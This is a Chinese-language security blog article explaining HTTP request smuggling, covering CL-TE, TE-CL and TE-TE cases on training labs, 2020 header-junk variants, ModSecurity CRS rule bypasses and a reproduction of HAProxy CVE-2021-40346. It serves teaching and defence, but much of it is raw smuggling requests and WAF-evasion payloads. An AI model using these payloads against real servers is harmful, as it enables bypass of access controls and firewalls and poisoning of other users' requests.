<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    HTTP走私及變體總結

    VSole2022-09-01 22:12:58

    HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式,用以繞過安全控制并獲得未經授權的訪問,執行惡意活動。在解釋http走私的原理之前,要了解下文所說的相關背景知識。

    背景知識

    持久連接 Persistent Connection

    在HTTP1.0中,默認的是短連接,沒有正式規定 Connection:Keep-alive 操作,在HTTP/1.1所有連接都是Keep-alive的,也就是默認都是持續連接的(Persistent Connection)。要將連接關閉,HTTP/1.1應用程序必須向報文中添加一個Connection:close。

    HTTP1.1客戶端加載在收到響應后,除非響應中包含了Connection:close,不然HTTP/1.1連接就仍然維持在打開狀態。但是,客戶端和服務器仍然可以隨時關閉空閑的連接。

    管道化連接

    HTTP/1.1允許在持久連接上可選的使用請求管道。這是相對于keep-alive連接的又一性能優化。在響應到達之前,可以將多條請求放入隊列,當第一條請求通過網絡流向服務器時,第二條和第三條請求也可以開始發送了。在高時延網絡條件下,這樣做可以降低網絡的環回時間,提高性能。

    Content-Length

    HTTP狀態碼,代表 HTTP消息長度, 用十進制數字表示. 若Content-Length比實際消息長度短, 請求被截斷, 而且下一個請求解析出現錯亂.。Content-Length比實際消息長度長,請求將無響應直到超時。

    Transfer-Encoding: chunked

    代表數據以一系列分塊的形式進行發送.。Content-Length 首部在這種情況下應該不被發送。在每一個分塊的開頭需要添加當前分塊的長度, 以十六進制的形式表示,后面緊跟著 \r\n(回車換行) , 之后是分塊本身, 后面也是\r\n。終止塊是一個常規的分塊, 不同之處在于其長度為0。后面跟兩個\r\n。

    Content-Type(MediaType)

    即是Internet Media Type,互聯網媒體類型,也叫做MIME類型。在互聯網中有成百上千中不同的數據類型,HTTP在傳輸數據對象時會為他們打上稱為MIME的數據格式標簽,用于區分數據類型。最初MIME是用于電子郵件系統的,后來HTTP也采用了這一方案。

    在HTTP協議消息頭中,使用Content-Type來表示請求和響應中的媒體類型信息。它用來告訴服務端如何處理請求的數據,以及告訴客戶端(一般是瀏覽器)如何解析響應的數據,比如顯示圖片,解析并展示html等等。

    產生原因

    為了提升用戶瀏覽速度,很多Web應用程序在用戶和應用程序邏輯之間使用多個HTTP服務器,用戶將請求發送到前端服務器,此服務器將請求轉發到一個或多個后端服務器。而前置服務器與后端服務器的ip 又是相對固定的,所以前后端服務器之間一般重用 TCP 連接來減少頻繁 TCP 握手帶來的開銷。這里就用到了前文所說 HTTP1.1 中的 Keep-Alive 和 Pipeline 特性,具體做法為:前端服務器將HTTP請求一個接一個地發送,接收服務器解析HTTP請求標頭以確定一個請求在哪里結束,下一個請求在哪里開始。很明顯,這個過程需要前端和后端系統就請求數據包之間的邊界的區分達成一致。不然,攻擊者可能會發送一個構造的請求數據包,該請求數據包被前端和后端服務器以不同的方式區分。

    HTTP規范提供了兩種不同的方法來區分數據包的邊界,即前面所說的Content-Length標頭和Transfer-Encoding標頭, HTTP規范指出如果數據包同時存在Content-Length標頭和Transfer-Encoding標頭,則應該忽略Content-Length標頭。但是如果前端服務器和后端服務器對Content-Length標頭和Transfer-Encoding標頭的處理不同,則它們可能就無法正確區分數據包之間的邊界,從而導致http請求走私漏洞。

    下圖表示一個用戶發送藍色的數據包,一個用戶發送綠色的數據包,可以看到藍色和綠色數據包被正確的區分,不同用戶的數據包在后端服務器被正確的還原。

    而當攻擊者惡意構造數據包時,可能會發生如下的情況,攻擊者數據包的一部分,如下圖中的紅色的部分,在后端服務器被解析為另一個用戶數據包的一部分。這個攻擊者便成功的利用了http請求走私漏洞。

    HTTP走私類型

    按服務器數據包邊界劃分方式的不同,http走私可分為,

    1.CL-TE

    指前端支持Content-Length請求頭,忽略Transfer-Encoding請求頭,而后端遵循RFC2616規定,忽略Content-Length請求頭,而去處理Transfer-Encoding請求頭。

    靶場

    第一次發送如下請求:

    第二次相同的請求失敗:

    原因為前置服務器根據 Content-Length劃分數據包的邊界,但后端根據 Transfer-Encoding: chunked 判斷邊界,于是將請求主體截斷到 0\r\n\r\n,造成數據包中的一部分,留在緩沖區中等待剩余的請求。如果此時其他用戶此時發送了一個 GET 請求,就會與此拼接成一個畸形的qiGET開頭的數據包,造成服務器解析異常。

    2.TE.CL

    前端服務器支持Transfer-Encoding標頭忽略Content-Length標頭,而后端服務器支持Content-Length標頭忽略ransfer-Encoding標頭。

    發送如下數據包

    1. POST / HTTP/1.1
    2. Host: acea1f011f5c3506c0122f5900d20038.web-security-academy.net
    3. Cookie: session=dcOCx20R8JaLsuzqg0NZZ8Pfxz1ZsEM3
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    7. Accept-Encoding: gzip, deflate
    8. Referer: https://portswigger.net/
    9. Upgrade-Insecure-Requests: 1
    10. Sec-Fetch-Dest: document
    11. Sec-Fetch-Mode: navigate
    12. Sec-Fetch-Site: cross-site
    13. Sec-Fetch-User: ?1
    14. Cache-Control: max-age=0
    15. Te: trailers
    16. Connection: close
    17. Content-Length: 4
    18. Transfer-Encoding: chunked
    19. 5c
    20. GPOST / HTTP/1.1
    21. Content-Type: application/x-www-form-urlencoded
    22. Content-Length: 15
    23. x=1
    24. 0

    前端服務器按Transfer-Encoding: chunked區分數據包,故發送的內容為

    1. POST / HTTP/1.1
    2. Host: acea1f011f5c3506c0122f5900d20038.web-security-academy.net
    3. Cookie: session=dcOCx20R8JaLsuzqg0NZZ8Pfxz1ZsEM3
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    7. Accept-Encoding: gzip, deflate
    8. Referer: https://portswigger.net/
    9. Upgrade-Insecure-Requests: 1
    10. Sec-Fetch-Dest: document
    11. Sec-Fetch-Mode: navigate
    12. Sec-Fetch-Site: cross-site
    13. Sec-Fetch-User: ?1
    14. Cache-Control: max-age=0
    15. Te: trailers
    16. Connection: close
    17. Content-Length: 4
    18. Transfer-Encoding: chunked
    19. 5c
    20. GPOST / HTTP/1.1
    21. Content-Type: application/x-www-form-urlencoded
    22. Content-Length: 15
    23. x=1
    24. 0

    而后端服務器按Content-Length: 4區分數據包,固有

    1. GPOST / HTTP/1.1
    2. Content-Type: application/x-www-form-urlencoded
    3. Content-Length: 15
    4. x=1

    留在緩沖區中等待剩余的請求,與下次的請求數據包拼接造成下次請求異常

    3.TE.TE

    前端服務器和后端服務器都支持Transfer-Encoding標頭,但是可以通過對標頭進行某種方式的混淆來誘導其中一臺服務器不對其進行處理。

    請求報文如下:

    1. POST / HTTP/1.1
    2. Host: ac691f711f158e57c0eb150b00e800d3.web-security-academy.net
    3. Cookie: session=FD6bM1B1YaIXirwaQDv6jTPCIx54Lb8I
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    7. Accept-Encoding: gzip, deflate
    8. Referer: https://portswigger.net/
    9. Upgrade-Insecure-Requests: 1
    10. Sec-Fetch-Dest: document
    11. Sec-Fetch-Mode: navigate
    12. Sec-Fetch-Site: cross-site
    13. Sec-Fetch-User: ?1
    14. Cache-Control: max-age=0
    15. Te: trailers
    16. Connection: close
    17. Content-Type: application/x-www-form-urlencoded
    18. Content-Length: 0
    19. Transfer-Encoding: chunked
    20. Transfer-encoding: cow
    21. 5c
    22. GPOST / HTTP/1.1
    23. Content-Type: application/x-www-form-urlencoded
    24. Content-Length: 15
    25. x=1
    26. 0

    前端服務器和后端服務器本來都支持Transfer-Encoding標頭,由于數據包不規范,造成前端服務器按Transfer-Encoding: chunked處理,發送的內容為:

    1. POST / HTTP/1.1
    2. Host: ac691f711f158e57c0eb150b00e800d3.web-security-academy.net
    3. Cookie: session=FD6bM1B1YaIXirwaQDv6jTPCIx54Lb8I
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    7. Accept-Encoding: gzip, deflate
    8. Referer: https://portswigger.net/
    9. Upgrade-Insecure-Requests: 1
    10. Sec-Fetch-Dest: document
    11. Sec-Fetch-Mode: navigate
    12. Sec-Fetch-Site: cross-site
    13. Sec-Fetch-User: ?1
    14. Cache-Control: max-age=0
    15. Te: trailers
    16. Connection: close
    17. Content-Type: application/x-www-form-urlencoded
    18. Content-Length: 0
    19. Transfer-Encoding: chunked
    20. Transfer-encoding: cow
    21. 5c
    22. GPOST / HTTP/1.1
    23. Content-Type: application/x-www-form-urlencoded
    24. Content-Length: 15
    25. x=1
    26. 0

    后端按受到Transfer-encoding: cow影響,按Content-Length: 0處理,固有:

    1. 5c
    2. GPOST / HTTP/1.1
    3. Content-Type: application/x-www-form-urlencoded
    4. Content-Length: 15
    5. x=1
    6. 0

    留在緩沖區中等待剩余的請求,與下次的請求數據包拼接造成下次請求異常。

    漏洞變種

    前言

    漏洞變種及crs規則繞過部分來自于2020黑客會議名為

    HTTP Request Smuggling in 2020 – New Variants, New Defenses and New Challenges

    的報告,SafeBreach的安全研究副總裁Amit Klein展示了這一發現。目前報告所說漏洞已經被修復,但了解這些內容可以加深對http走私的了解,以下內容為個人理解,如有錯誤,歡迎交流。

    Klein公開的新變體涉及使用各種代理服務器組合,包括在Web服務器模式下的Aprelium的Abyss,Microsoft IIS,Apache和Tomcat,以及在HTTP代理模式下的Nginx,Squid,HAProxy,Caddy和Traefik。

    變體1 Header SP/CR junk

    對形如:

    Content-Length abcde: 20

    有些服務器會視為有效的Content-Length頭,有些則會忽略該頭,利用這點差異,可構造如下數據包

    1. POST /hello.php HTTP/1.1
    2. Host: www.example.com
    3. Connection: Keep-Alive
    4. Content-Length: 41
    5. Content-Length abcde: 3
    6. barGET /poison.html HTTP/1.1
    7. Something: GET /welcome.html HTTP/1.1
    8. Host: www.example.com

    若Squid為前端服務器,Abyss為后端服務器。

    Squid將忽略請求頭Content-Length abcde,并使用Content-Length: 41,因此正文被全部發到Abyss的緩存中。Abyss將Content-Length kuku視為一個有效的Content-Length頭,并因為是處于更后位置的Content-Length頭,Abyss會使用它,故有以下數據被留在緩存中,視為新的請求。

    1. GET /poison.html HTTP/1.1
    2. Something: GET /welcome.html HTTP/1.1
    3. Host: www.example.com

    變體 2 wait

    Abyss獲取HTTP請求時,如果請求的正文長度小于指定的內容長度值,它會等待30秒來完成請求,然后調用

    后端腳本,丟棄剩余的正文并繼續執行下一個請求。

    構造以下數據包:

    POST /hello.php HTTP/1.1
    Host: foo.com
    Connection: Keep-Alive
    Content-Length Kuku: 33
    GET /a.html HTTP/1.1
    Something:GET /b.html HTTP/1.1
    Host: foo.co
    

    若Squid為前端服務器,Abyss為后端服務器。

    Squid認為Content-Length Kuku頭無效,視該數據包為Content-Length:0的數據包,相當于發送POST /hello.php HTTP/1.1和GET /a.html HTTP/1.1兩個請求,而Abyss將Content-Length kuku視為一個有效的Content-Length頭,等待30秒,將

    1. POST /hello.php HTTP/1.1
    2. Host: foo.com
    3. Connection: Keep-Alive
    4. Content-Length Kuku: 33
    5. GET /a.html HTTP/1.1
    6. Something:

    看為一個請求

    1. GET /b.html HTTP/1.1
    2. Host: foo.co

    被解釋為第二個請求。

    CR header

    POST /hello.php HTTP/1.1
    Host: foo.com
    Connection: Keep-Alive
    [CR]Content-Length: 33
    GET /a.html HTTP/1.1
    Something: GET /b.html HTTP/1.1
    Host: foo.com
    

    若Spuid為前端,Abyss為后端,由于Spuid忽略[CR]Content-Length: 33請求頭,content-Length的值被認為是0,GET /a.html HTTP/1.1被單獨發送,而Abyss不忽略,將造成與變體二相似的后果。

    CRS規則繞過

    什么是ModSecurity CRSS

    ModSecurity是一個免費、開源的Web(apache、nginx、IIS)模塊,可以充當Web應用防火墻(WAF)。ModSecurity是一個入侵探測與阻止的引擎.它主要是用于Web應用程序所以也可以叫做Web應用程序防火墻.ModSecurity的目的是為增強Web應用程序的安全性和保護Web應用程序避免遭受來自已知與未知的攻擊

    OWASP是一個安全社區,開發和維護著一套免費的應用程序保護規則,這就是所謂OWASP的ModSecurity的核心規則集(即CRS)。ModSecurity之所以強大就在于OWASP提供的規則,可以根據自己的需求選擇不同的規則,當然ModSecurity還有商用的規則。

    OWASP規則集: https://github.com/SpiderLabs/owasp-modsecurity-crs

    mod_security 的CRS3.2.0攻擊檢測規則對HTTP請求走私有一些非常基本的規則:

    • 920(協議執行):對請求行格式(920100)的基本檢查。(我的攻擊不基于此)
    • 920(協議執行):檢查Content-Length值是否全為數字(920160)。(我的攻擊不基于此)
    • 920(協議執行):“不接受有GET或HEAD請求的正文”(920170)。(我的攻擊不基于此)
    • 920(協議攻擊):“要求在每個POST請求中提供Content-Length或者Transfer-Encoding”(920180)。(僅禁止變體2的攻擊)
    • 921(協議攻擊):“此規則在Content-Length或Transfer-Encoding請求頭中查找逗號字符”(921100)。(我的攻擊不基于此)
    • 921(協議攻擊):在HTTP請求體中,CR或LF后跟HTTP動詞,如GET/POST(921110)。(變體1沒有這樣做)
    • 921(協議攻擊):在正文或cookie的任何位置,查找CR/LF后面是 Content-Length或 Content-Type Set-Cookie Location)(921120)。(我的攻擊不基于此)
    • 921(協議攻擊):“HTTP響應分割”——在正文或cookies的任何位置尋找非字母數字后跟著 HTTP/0.9 HTTP/1.9 HTTP/1.0或HTTP/1.1或<html或<mate(921130)。(禁止我所有的攻擊)
    • 921(協議攻擊):在請求頭中查找CR/LF(921140)(影響變體1和2,當使用CR時)
    • 921(協議攻擊):“檢測參數名稱中的換行符”(921150)。(禁止我所有的攻擊)

    針對 921(協議攻擊):“檢測參數名稱中的換行符”(921150)。會檢測提交的參數名,不允許參數名中包含有換行符,為了繞過這一規則,可以將提交的數據轉化為參數值,如將變體一改為如下繞過

    1. Connection: Keep-Alive
    2. Content-Length: 41
    3. Content-Length abcde: 3
    4. xy=GET /poison.html HTTP/1.1
    5. Something: GET /welcome.html HTTP/1.1
    6. Host: www.example.com

    針對921(協議攻擊):“HTTP響應分割”——在正文或cookies的任何位置尋找非字母數字后跟著 HTTP/0.9 HTTP/1.9 HTTP/1.0或HTTP/1.1或<html或<mate(921130)。

    該規則禁止HTTP正文部分有HTTP/0.9 ,HTTP/1.9 ,HTTP/1.0,HTTP/1.1等內容以防御http走私攻擊。但是HTTP/1.2沒有在禁止之列,故可以通過HTTP/1.2來繞過。

    而大多數網絡服務器會把 HTTP/1.2請求當作 HTTP/1.1處理。IIS、Apache、nginx、node.js、Abyss將HTTP/1.2視為HTTP/1.1。Squid, HAProxy, Caddy 、Traefik將HTTP/1.2轉化為HTTP/1.1。

    變體1包含HTTP/1.2的payload如下:

    POST /hello.php HTTP/1.1
    Host: foo.com
    Connection: Keep-Alive
    Content-Length: 36
    Content-Length Kuku: 3
    xy=GET /a.html HTTP/1.2
    Something: GET /b.html HTTP/1.1
    Host: foo.com
    

    將觸發一些應用程序級別規則(“Unix direct remote command execution”——932150)(很長的正則匹配規則。感興趣的可以去分析,地址),可通過變形為下面的形式來繞過。

    POST /hello.php HTTP/1.1
    Host: foo.com
    User-Agent: foo
    Accept: */*
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 52
    Content-Length Kuku: 3
    barGET http://foo.com/a.html?= HTTP/1.2
    Something: GET /b.html HTTP/1.1
    Host: foo.com
    User-Agent: foo
    Accept: */*
    

    A plain solution

    使用Content-Type: text/plain,來繞過 crs paranoia_level≤2 (默認一級,最高三級)檢查

    POST /hello.php HTTP/1.1
    Host: foo.com
    User-Agent: foo
    Accept: */*
    Connection: Keep-Alive
    Content-Type: text/plain
    Content-Length: 36
    Content-Length Kuku: 3
    barGET /a.html HTTP/1.1
    Something: GET /b.html HTTP/1.1
    Host: foo.com
    User-Agent: foo
    Accept: */*
    

    HAProxy——http請求走私漏洞(CVE-2021-40346)復現

    漏洞信息

    在 HAProxy 2.0 到 2.5 中存在整數溢出htx_add_header,可利用該溢出來執行 HTTP 請求走私攻擊,從而允許攻擊者繞過所有已配置的 http 請求 HAProxy ACL 和可能的其他 ACL。

    HAProxy 介紹

    HAProxy是一個使用C語言編寫的自由及開放源代碼軟件,其提供高可用性、負載均衡,以及基于TCP和HTTP的應用程序代理。

    HAProxy特別適用于那些負載特大的web站點,這些站點通常又需要會話保持或七層處理。HAProxy運行在當前的硬件上,完全可以支持數以萬計的并發連接。并且它的運行模式使得它可以很簡單安全的整合進架構中, 同時可以保護web服務器不被暴露到網絡上。

    漏洞分析

    構造形如

    Content-Length0a...aa:(長度為270)

    將造成溢出,原因為請求會被解析成htx塊結構數組,頭部被保存為鍵值對是形式,name為鍵,value為對應的值,對數據的操作有這個代碼blk->info += (value.len << 8) + name.len,將值長度左移8位,并加上鍵的長度。下圖為blk->info的結構:

    要求name的長度一個小于8位,即 0-255,但是代碼中并沒有長度限制,故構造Content-Length0a...aa:(長度為270)將形成溢出影響value.len,構造的頭部沒有填入value,故value.len原為0,name.len=270,換為二進制為100001110,后8位為00001110=14,故認為name的長度為14,即取Content-Length0a...aa的前14位Content-Length作為name,value.len受溢出影響值變為1,故認為value的長度為1,取Content-Length0a...aa中Content-Length的后一位0作為value的值,故構造出name=Content-Length,value=1的鍵值對,相當于構造出

    Content-Length:0

    但是由于在初始解析時,已經存在Content-Length,所以對應長度的正文會被前端服務器正常發送,而后端服務器認為Content-Length:0,相當于HTTP正文中的內容被視為請求。

    漏洞復現

    復現環境:https://github.com/donky16/CVE-2021-40346-POC

    移動到下載好的文件目錄中,輸入以下命令建立環境:

    docker-compose build

    docker-compose up -d

    訪問http://172.18.0.1:10001/guest

    訪問http://172.18.0.1:10001/admin

    發現訪問失敗。

    構造以下payload:

    發現存在兩個返回包,其中第二個為http://172.18.0.1:10001/admin的返回,成功突破限制。

    漏洞防御

    http走私依賴于服務器之間的差距,減少http走私漏洞的方式為盡力避免數據包區分差異,而為了提升用戶瀏覽速度,減少服務器壓力,不采用前后端服務器,持續連接是不現實的,故防御方式可為:

    1.提前進行http走私漏洞檢測。

    2.前端服務器和后端服務器使用完全相同的服務器與Web服務器軟件,以便它們就請求之間的區分達成一致。

    3.使用HTTP / 2進行后端連接。HTTP / 2有以下特性:

    • 使用二進制編碼且分割為更小的傳輸單位(幀,擁有編號,可亂序傳輸
    • 同一個來源的所有通信都在一個TCP 連接上完成,此連接可以承載任意數量的雙向數據流
    post請求前端架構
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    HTTP request smuggling與CTF實戰利用
    HTTP走私及變體總結
    2022-09-01 22:12:58
    HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式,用以繞過安全控制并獲得未經授權的訪問,執行惡意活動。Content-Length比實際消息長度長,請求將無響應直到超時。Transfer-Encoding: chunked代表數據以一系列分塊的形式進行發送.。Content-Length 首部在這種情況下應該不被發送。在HTTP協議消息頭中,使用Content-Type來表示請求和響應中的媒體類型信息。這個攻擊者便成功的利用了http請求走私漏洞。
    說實話,我非常希望自己能早點看到本篇文章,大學那個時候懵懵懂懂,跟著網上的免費教程做了一個購物商城就屁顛屁顛往簡歷上寫。至今我仍清晰地記得,那個電商教程是怎么定義接口的:管它是增加、修改、刪除、帶參查詢,全是 POST 請求一把梭,比如下面這樣:修改用戶的收貨地址。現在看來,全部用 POST 請求估計是為了傳參方便吧。本文希望通過串講,梳理一下個人當前了解到的 API 知識體系,整理的同時也希望能對大家有一點點幫助。
    技術架構系統整體采用微服務架構,安全模塊采用OAuth2開放式授權標準,Token令牌采用JWT標準實現,技術框架采用SpringCloud+SpringGateway+SpringSecurity+自定義權限表達式。權限配置密鑰配置系統遵循OAuth2開放式授權標準協議,Token令牌采用RSA非對稱加密算法加密,系統用戶密碼采用MD5加密。格式語法目前支持兩種類型的權限表達語法,分別功能權限表達式、數據權限表達式。
    很早之前就立下flag說聊聊內存馬,然后出了一篇文章Java Agent的內容。后來就擱淺了,這次想先寫聊聊兩種最為常見的內存馬,spring內存馬和filter內存馬。
    某天客戶丟來了兩個站點,白天摸魚日站,發現日不動。晚上做夢還想著它,明天要怎么交差,于是在夢里發生了這次滲透。但是很不湊巧的是,他沒有返回值。爆破時間戳使用Powershell生成時間戳,然后此時在Burp按下go發送請求包powershell -c Get-Date -Format yyyyMMddHHmmssfff. 發現了一個隱藏的html頁面,這個頁面在前端的功能點是點不到的。
    以上功能點均存在類似的通過修改請求方式的CSRF漏洞。字段來驗證請求的主動性。AddTime參數能控制前臺顯示的時間,但是時間格式有嚴格限制,無法實現存儲型XSS。經測試,該處存在CSRF可以通過此種方式替他人創建文章分類。
    自己接過的一個項目,不過其實是客戶自己在使用的一個SaaS平臺,也就是對SaaS平臺的測試本質上來說沒有嚴格授權。由于沒有嚴格授權也就將測試范圍局限在了單個網站上,并沒有根據域名進行拓展。Web應用信息通過Burp發送一定請求包,可以得到服務器如下信息:開發語言:ASP. 由于使用的是ASP.NET開發框架,因此服務器中間件大概率是IIS了。以上功能點均存在類似的通過修改請求方式的CSRF漏洞。
    為了提高安全服務項目的檢測效率、規范性、全面性,Tide安全團隊結合在滲透測試行業的經驗和安全開發方面的積累,開發了一款自動化滲透測試工具。 該工具使用Golang開發為CS架構,集“資產探測-服務識別-爬蟲-被動監測-漏洞掃描-POC檢測-截屏-報告”于一體,適合甲方或乙方安服團隊對目標系統進行全面的安全檢測并輸出報告。 本文主要介紹一下該工具的框架及部分實現思路。
    介紹一下攻防思路及實踐
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类